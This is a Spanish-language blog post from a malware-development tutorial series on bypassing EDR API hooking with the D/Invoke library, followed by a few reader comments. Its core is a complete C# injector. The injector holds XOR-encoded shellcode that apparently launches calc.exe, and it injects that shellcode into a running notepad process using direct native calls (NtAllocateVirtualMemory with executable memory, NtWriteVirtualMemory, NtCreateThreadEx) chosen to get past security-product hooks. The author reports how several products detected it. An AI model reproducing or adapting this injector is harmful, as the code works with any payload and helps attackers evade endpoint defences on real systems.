Siguiendo el taller de desarrollo de malware por fin nos enfrentamos a un EDR (Endpoint Detection & Response). A diferencia de antivirus tradicional o también llamado ahora EPP (Endpoint Protection Platform), los EDR dejan atrás el análisis estático y de firmas y se basan más en el análisis de comportamiento, recopilando datos e identificando anomalías. Uno no sustituye al otro, digamos que lo ideal sería complementar ambas funciones.
Una de las principales armas de los EDR es el API hooking con el que se cargará una librería en todos los nuevos procesos para interceptar las llamadas a las funciones de Windows que normalmente son usadas por malware para manipular y crear procesos y threads, mapear memoria, etc. Podríamos decir que un EDR se parece mucho a un rootkit en ese aspecto ;)
Hay varias técnicas para crear un hook pero la manera más común es sustituir la primera instrucción de una función no exportada en la DLL del sistema con un jmp que salte a la rutina de la librería del EDR, que examinará todo antes de devolver el hilo de ejecución y se llegue al syscall que salte al modo kernel. Esto normalmente en memoria y en tiempo de ejecución. En el siguiente ejemplo vemos un ejemplo identificando las funciones hookeadas por un EDR:
Y si vamos a una en concreto veremos el jmp comentado:
Hay varias técnicas para bypassear el API hooking en userland, pero una de las principales es no cargar ninguna función de ntdll.dll en tiempo de ejecución, sino llamarla directamente. Desde hace tiempo se puede hacer obteniendo las funciones de ntdll directamente en ensamblador con herramientas como Dumpert o SysWhispers/SysWhispers2. Aunque los EDRs pueden detectarlo, hoy en día todavía se puede eludir algunos fácilmente cambiando el nombre de las funciones de la API de Windows en el archivo ASM (por ejemplo NtAllocateVirtualMemory a NtAVM) y, por supuesto, también en el código de inyección del shellcode.
Pero siguiendo el taller de Cas van Cooten utilizaremos D/Invoke una librería en C# que nos facilitará también mucho la vida.
Con D/Invoke, en lugar de importar estáticamente las llamadas a la API con P/Invoke, podemos invocarlas dinámicamente para cargar una DLL en tiempo de ejecución y llamar a la función usando un puntero a su ubicación en la memoria. Esto nos permite bypassear los hooks de varias maneras y ejecutar payloads en post-explotación de manera reflexiva, evitando también las detecciones basadas en las búsquedas de importaciones sospechosas en la IAT del PE (os aconsejo echar también un vistazo a la herramienta Dinjector aquí).
El código en C# como veréis a continuación es muy sencillo (ver comentarios). Eso sí, aseguraros que la versión de Dinvoke 1.0.4 está instalada correctamente (yo tuve que instalar directamente el .nupkg desde la consola de Nuget) y Costura.fody para integrar "Dinvoke.dll" dentro de nuestro ejecutable:
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using static DInvoke.Data.Win32;
using static DInvoke.Data.Native;
using static DInvoke.DynamicInvoke.Native;
namespace Injector
{
public class BasicAVEvasion
{
private static uint key = 0x37;
private static byte[] xorDecryptBytes(byte[] encrypted)
{
byte[] decrypted = new byte[encrypted.Length];
for (int i = 0; i < encrypted.Length; i++)
{
decrypted[i] = (byte)((uint)encrypted[i] ^ key);
}
return decrypted;
}
private static string xorDecryptString(byte[] encrypted)
{
string decrypted = "";
for (int i = 0; i < encrypted.Length; i++)
{
decrypted += (char)((uint)encrypted[i] ^ key);
}
return decrypted;
}
public static void Main()
{
byte[] scEnc = new byte[296] {
0xcb, 0x7f, 0xb4, 0xd3, 0xc7, 0xdf, 0xf7, 0x37, 0x37, 0x37, 0x76, 0x66, 0x76, 0x67, 0x65,
0x66, 0x61, 0x7f, 0x06, 0xe5, 0x52, 0x7f, 0xbc, 0x65, 0x57, 0x7f, 0xbc, 0x65, 0x2f, 0x7f,
0xbc, 0x65, 0x17, 0x7f, 0xbc, 0x45, 0x67, 0x7f, 0x38, 0x80, 0x7d, 0x7d, 0x7a, 0x06, 0xfe,
0x7f, 0x06, 0xf7, 0x9b, 0x0b, 0x56, 0x4b, 0x35, 0x1b, 0x17, 0x76, 0xf6, 0xfe, 0x3a, 0x76,
0x36, 0xf6, 0xd5, 0xda, 0x65, 0x76, 0x66, 0x7f, 0xbc, 0x65, 0x17, 0xbc, 0x75, 0x0b, 0x7f,
0x36, 0xe7, 0xbc, 0xb7, 0xbf, 0x37, 0x37, 0x37, 0x7f, 0xb2, 0xf7, 0x43, 0x50, 0x7f, 0x36,
0xe7, 0x67, 0xbc, 0x7f, 0x2f, 0x73, 0xbc, 0x77, 0x17, 0x7e, 0x36, 0xe7, 0xd4, 0x61, 0x7f,
0xc8, 0xfe, 0x76, 0xbc, 0x03, 0xbf, 0x7f, 0x36, 0xe1, 0x7a, 0x06, 0xfe, 0x7f, 0x06, 0xf7,
0x9b, 0x76, 0xf6, 0xfe, 0x3a, 0x76, 0x36, 0xf6, 0x0f, 0xd7, 0x42, 0xc6, 0x7b, 0x34, 0x7b,
0x13, 0x3f, 0x72, 0x0e, 0xe6, 0x42, 0xef, 0x6f, 0x73, 0xbc, 0x77, 0x13, 0x7e, 0x36, 0xe7,
0x51, 0x76, 0xbc, 0x3b, 0x7f, 0x73, 0xbc, 0x77, 0x2b, 0x7e, 0x36, 0xe7, 0x76, 0xbc, 0x33,
0xbf, 0x7f, 0x36, 0xe7, 0x76, 0x6f, 0x76, 0x6f, 0x69, 0x6e, 0x6d, 0x76, 0x6f, 0x76, 0x6e,
0x76, 0x6d, 0x7f, 0xb4, 0xdb, 0x17, 0x76, 0x65, 0xc8, 0xd7, 0x6f, 0x76, 0x6e, 0x6d, 0x7f,
0xbc, 0x25, 0xde, 0x60, 0xc8, 0xc8, 0xc8, 0x6a, 0x7f, 0x8d, 0x36, 0x37, 0x37, 0x37, 0x37,
0x37, 0x37, 0x37, 0x7f, 0xba, 0xba, 0x36, 0x36, 0x37, 0x37, 0x76, 0x8d, 0x06, 0xbc, 0x58,
0xb0, 0xc8, 0xe2, 0x8c, 0xd7, 0x2a, 0x1d, 0x3d, 0x76, 0x8d, 0x91, 0xa2, 0x8a, 0xaa, 0xc8,
0xe2, 0x7f, 0xb4, 0xf3, 0x1f, 0x0b, 0x31, 0x4b, 0x3d, 0xb7, 0xcc, 0xd7, 0x42, 0x32, 0x8c,
0x70, 0x24, 0x45, 0x58, 0x5d, 0x37, 0x6e, 0x76, 0xbe, 0xed, 0xc8, 0xe2, 0x74, 0x0d, 0x6b,
0x40, 0x5e, 0x59, 0x53, 0x58, 0x40, 0x44, 0x6b, 0x44, 0x4e, 0x44, 0x43, 0x52, 0x5a, 0x04,
0x05, 0x6b, 0x54, 0x56, 0x5b, 0x54, 0x19, 0x52, 0x4f, 0x52, 0x37
};
byte[] notepadEnc = new byte[7] {
0x59, 0x58, 0x43, 0x52, 0x47, 0x56, 0x53
};
Process[] expProc = Process.GetProcessesByName(xorDecryptString(notepadEnc));
if (expProc.Length == 0)
{
return;
}
uint pid = (uint)expProc[0].Id;
/* D/Invoke es compatible con las API de Win32, pero se elige usar las API nativas (NTDLL) */
/* Tened en cuenta que algunas funciones delegadas difieren de la API real */
/* Llamada a NtOpenProcess (equivalente nativa de OpenProcess) */
IntPtr procHandle = NtOpenProcess(
pid,
Kernel32.ProcessAccessFlags.PROCESS_ALL_ACCESS
);
/* Preparar las variables de NtAllocateVirtualMemory */
IntPtr baseAddr = IntPtr.Zero;
IntPtr regionSize = (IntPtr)scEnc.Length;
/* Llamada a NtAllocateVirtualMemory (equivalente nativa de VirtualAllocEx) */
IntPtr memAddr = NtAllocateVirtualMemory(
procHandle,
ref baseAddr,
IntPtr.Zero,
ref regionSize,
Kernel32.MEM_COMMIT | Kernel32.MEM_RESERVE,
WinNT.PAGE_EXECUTE_READWRITE
);
/* Desciframos el payload como en el ejercicio anterior */
byte[] sc = xorDecryptBytes(scEnc);
/* Obtenemos IntPtr para nuestro shellcode */
var scBuf = Marshal.AllocHGlobal(sc.Length);
Marshal.Copy(sc, 0, scBuf, sc.Length);
/* Llamada a NtWriteVirtualMemory (equivalente nativa de WriteProcessMemory) */
uint procMemResult = NtWriteVirtualMemory(
procHandle,
baseAddr,
scBuf,
(uint)sc.Length
);
/* Liberar la memoria reservada */
Marshal.FreeHGlobal(scBuf);
/* Preparar las variables de NtCreateThreadEx */
IntPtr hThread = IntPtr.Zero;
/* Llamada a NtCreateThreadEx (equivalente nativa de CreateRemoteThread)*/
NTSTATUS tAddr = NtCreateThreadEx(
ref hThread,
WinNT.ACCESS_MASK.MAXIMUM_ALLOWED,
IntPtr.Zero,
procHandle,
baseAddr,
IntPtr.Zero,
false,
0,
0,
0,
IntPtr.Zero
);
}
}
}
Como se puede observar simplemente se trata de syscalls directos a funciones nativas con D/Invoke. Si lo usamos "a pelo" sólo con Defender podremos desplegar nuestro shellcode:
A continuación y para probarlo contra un EDR al principio seguí la recomendación de Cas van Cooten y usé Elastic Endpoint Security porque viene con un trial gratuito de 15 días y me parecía muy interesante probarlo. Sin embargo algo que me sorprendió es que este supuesto EDR parece que no hace API hooking, ni rastro de jmps:
Así que para nuestro objetivo de bypassear los hooks no nos sirve. No obstante decir que este endpoint de Elastic viene con otras características interesantes como la inspección de memoria y que al ejecutar nuestro exploit detecta el payload al descifrarse:
Continuando nuestro camino y trasladando las pruebas a otro EDR comercial que no voy a mencionar, nuestro código también va a generar una alerta. Eso sí... en la mayoría de las ocasiones será mediante otras técnicas a parte del hook, como machine learning e incluso por la DLL DInvoke.dll que integramos en nuestro PE y que muchos fabricantes ya firman, por lo que habrá que ofuscar nuestro artefacto o usar otras técnicas adicionales para bypassear la detección del EDR.
¿Picados con el tema? Pues nada, seguiré investigando y alimentando este serie de entradas con distintas técnicas ;)
Fuentes:
- https://kylemistele.medium.com/a-beginners-guide-to-edr-evasion-b98cc076eb9a
- https://s3cur3th1ssh1t.github.io/A-tale-of-EDR-bypass-methods/
- https://www.sans.org/white-papers/edr-evasion-stranger-things-in-a-packet/
- https://vanmieghem.io/blueprint-for-evading-edr-in-2022/
- https://perspectiverisk.com/a-practical-guide-to-bypassing-userland-api-hooking/
Serie MalDev práctico:
- shellcode loader básico
- shellcode injection básico
- ZombieThread
- evasión de AV básica
- evasión de EDR básica
- Threadless Process Injection
Genial bro genial, podrías por favor, si es posible claro compartir las fuentes de donde sacas toda la info para este tipo de post, gracias por todo
ResponderEliminarhola! esta serie está basado en el repo https://github.com/chvancooten/maldev-for-dummies y el resto de fuentes también aparecen en el post :D
EliminarBuenisimo!
ResponderEliminarya no se visualizan las imágenes
ResponderEliminar